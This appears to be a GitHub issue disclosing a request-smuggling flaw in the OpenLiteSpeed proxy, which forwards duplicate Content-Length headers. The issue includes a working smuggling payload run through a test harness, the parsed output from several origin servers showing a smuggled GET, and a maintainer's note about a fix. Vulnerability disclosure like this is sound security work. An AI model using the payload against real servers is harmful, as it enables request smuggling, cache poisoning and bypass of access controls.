litespeedtech / openlitespeed

Our high-performance, lightweight, open source HTTP server
https://openlitespeed.org
GNU General Public License v3.0
1.17k stars 189 forks source link

OLS is vulnerable to request smuggling via requests with multiple `Content-Length` headers #395

Open kenballus opened 3 months ago

kenballus commented 3 months ago

Summary

When OLS is acting as a gateway, and receives a request with two Content-Length headers, it forwards both, but interprets only the first.

Thus, when the origin server behind the OLS gateway prioritizes the second Content-Length header over the first, request smuggling can occur.

How OLS's behavior violates the RFC

From RFC 7230, section 3.3.3:

If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.

Request Smuggling PoC

This attack is easily demonstrated within the HTTP Garden.

  1. Set up the HTTP Garden.
  2. Start the REPL:
    rlwrap python3 ./tools/repl.py
  3. Run the following commands:
    garden> # Set the payload
    garden> payload 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
    garden> # Run it through the OLS gateway
    garden> transduce openlitespeed_proxy
    [2]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
    ⬇️ openlitespeed_proxy
    [3]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\nX-Forwarded-Host: whatever\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 192.168.48.1\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
    garden> # Send the result to all of the origin servers
    garden> fanout
  4. Observe that some origin servers see two requests in the gateway's output:
    ...
    cheroot: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept_encoding', b'gzip'),
            (b'content_length', b'0'),
            (b'host', b'whatever'),
            (b'x_forwarded_for', b'192.168.48.1'),
            (b'x_forwarded_host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
    ]
    ...
    libsoup: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'content-length', b'34'),
            (b'content-length', b'0'),
            (b'host', b'whatever'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
    ]
    ...
    uhttpd: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'content-length', b'0'),
            (b'host', b'whatever'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
    ]
    ...
litespeedtech commented 3 weeks ago

should be fixed in 1.8.2